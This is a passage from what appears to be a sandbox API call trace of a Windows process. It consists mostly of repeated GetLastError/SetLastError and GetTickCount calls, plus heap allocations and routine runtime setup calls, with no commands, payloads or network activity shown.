returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.868] SetLastError (dwErrCode=0x0) [0027.868] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x39) returned 0x561990 [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.869] GetLastError () returned 0x0 [0027.869] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.870] SetLastError (dwErrCode=0x0) [0027.870] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.871] GetLastError () returned 0x0 [0027.871] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.872] GetLastError () returned 0x0 [0027.872] SetLastError (dwErrCode=0x0) [0027.873] GetLastError () returned 0x0 [0027.873] SetLastError (dwErrCode=0x0) [0027.873] GetLastError () returned 0x0 [0027.873] SetLastError (dwErrCode=0x0) [0027.873] GetLastError () returned 0x0 [0027.873] SetLastError (dwErrCode=0x0) [0027.873] GetLastError () returned 0x0 [0027.873] SetLastError (dwErrCode=0x0) [0027.873] GetLastError () returned 0x0 [0027.873] SetLastError (dwErrCode=0x0) [0027.873] GetLastError () returned 0x0 [0027.873] SetLastError (dwErrCode=0x0) [0027.873] GetLastError () returned 0x0 [0027.873] SetLastError (dwErrCode=0x0) [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x98) returned 0x5619d8 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1f) returned 0x561a78 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x36) returned 0x561aa0 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x37) returned 0x561ae0 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3c) returned 0x561b20 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x31) returned 0x561b68 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x17) returned 0x561ba8 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x561bc8 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x14) returned 0x561bf8 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xd) returned 0x561c18 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x25) returned 0x561c30 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x39) returned 0x561c60 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x18) returned 0x561ca8 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x17) returned 0x561cc8 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xe) returned 0x561ce8 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x69) returned 0x561d00 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3e) returned 0x561d78 [0027.873] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1b) returned 0x561dc0 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1d) returned 0x561de8 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x48) returned 0x561e10 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x12) returned 0x561e60 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x18) returned 0x561e80 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1b) returned 0x561ea0 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x561ec8 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x29) returned 0x561ef8 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x561f30 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x41) returned 0x561f58 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x17) returned 0x561fa8 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xf) returned 0x561fc8 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x16) returned 0x561fe8 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2a) returned 0x562008 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x29) returned 0x562040 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x15) returned 0x562078 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x562098 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2a) returned 0x5620c0 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x12) returned 0x5620f8 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x18) returned 0x562118 [0027.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x46) returned 0x562138 [0027.874] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5611f8 | out: hHeap=0x560000) returned 1 [0027.875] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0027.875] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x562188 [0027.875] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0027.875] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x80) returned 0x5611f8 [0027.875] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40b78a) returned 0x0 [0027.876] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x5611f8) returned 0x80 [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.876] SetLastError (dwErrCode=0x0) [0027.876] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.877] GetLastError () returned 0x0 [0027.877] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.878] SetLastError (dwErrCode=0x0) [0027.878] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.879] SetLastError (dwErrCode=0x0) [0027.879] GetLastError () returned 0x0 [0027.880] SetLastError (dwErrCode=0x0) [0027.880] GetLastError () returned 0x0 [0027.880] SetLastError (dwErrCode=0x0) [0027.880] GetLastError () returned 0x0 [0027.880] SetLastError (dwErrCode=0x0) [0027.880] GetLastError () returned 0x0 [0027.880] SetLastError (dwErrCode=0x0) [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.880] GetTickCount () returned 0x183bf [0027.880] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.881] GetLastError () returned 0x0 [0027.881] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.882] GetTickCount () returned 0x183bf [0027.882] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.883] GetTickCount () returned 0x183bf [0027.883] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183bf [0027.884] GetLastError () returned 0x0 [0027.884] GetTickCount () returned 0x183cf [0027.884] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.885] GetTickCount () returned 0x183cf [0027.885] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.886] GetLastError () returned 0x0 [0027.886] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.887] GetLastError () returned 0x0 [0027.887] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.888] GetLastError () returned 0x0 [0027.888] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] 